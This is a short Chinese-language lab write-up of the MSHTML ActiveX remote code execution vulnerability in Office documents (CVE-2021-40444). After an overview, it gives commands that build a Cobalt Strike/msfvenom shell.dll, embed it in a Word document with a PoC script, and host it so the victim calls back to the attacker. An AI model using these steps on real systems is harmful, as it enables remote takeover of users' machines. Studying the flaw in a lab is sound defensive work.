漏洞概述
2021年9月8日，微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞，攻击者可通过制作恶意的ActiveX控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码，微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。
MSHTML(又称为Trident)是微软旗下的Internet Explorer浏览器引擎，也用于Office应用程序，以在Word、Excel或PowerPoint文档中呈现Web托管的内容，AcitveX控件是微软COM架构下的产物，在Windows的Office套件、IE浏览器中有广泛的应用，利用ActiveX控件即可与MSHTML组件进行交互。
漏洞学习
- 攻击鸡：kali 192.168.2.103
- 靶机 Microsoft Windows 10 专业工作站版 OS 版本: 10.0.18362 暂缺 Build 18362 192.168.2.143
POC下载
1、生成远控dll
（1）CS设置本地监听，生成RAW
（2）msf生成dll
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll
2、利用POC将dll加载到word
python3 exploit.py generate shell.dll http://192.168.2.103
3、本地开启监听
python3 exploit.py host 80
4、靶机运行word，CS上线
